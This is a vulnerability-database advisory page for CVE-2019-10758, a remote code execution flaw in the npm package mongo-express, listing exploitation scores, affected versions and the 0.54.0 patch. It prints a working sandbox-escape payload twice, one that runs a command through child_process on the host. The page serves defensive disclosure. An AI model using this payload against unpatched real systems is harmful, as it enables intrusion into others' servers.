Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
CISA KEV·Added 2021-12-10 — agencies required to remediate by 2022-06-10
📦 npm

GHSA-h47j-hc6x-h3qq

CRITICAL

Remote Code Execution Vulnerability in NPM mongo-express

Also known asCVE-2019-10758
Published
Dec 30, 2019
Updated
Mar 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
7 known

EPSS Exploitation Probability

via FIRST.org ↗
94.4%probability of exploitation in next 30 days
Very High Risk100th percentile0.00%
93.6%94.0%94.4%94.9%94.1%94.4%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
📦mongo-express

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Impact

Remote code execution on the host machine by any authenticated user.

Proof Of Concept

Launching mongo-express on a Mac, pasting the following into the "create index" field will pop open the Mac calculator:

this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')

Patches

Users should upgrade to version 0.54.0

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

For more information

If you have any questions or comments about this advisory:

Thanks

@JLLeitschuh for finding and reporting this vulnerability

This vulnerability has been exploited in the wild.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmmongo-expressall versions0.54.0
Exploits & PoCs
7

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Frequently Asked Questions

### Impact Remote code execution on the host machine by any authenticated user. ### Proof Of Concept Launching mongo-express on a Mac, pasting the following into the "create index" field will pop open the Mac calculator: ```javascript this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator') ``` ### Patches Users should upgrade to version `0.54.0` ### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ ### For more information If you have any question
O3 Security · Impact-Aware SCA

Is GHSA-h47j-hc6x-h3qq in your stack?

O3 detects GHSA-h47j-hc6x-h3qq across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.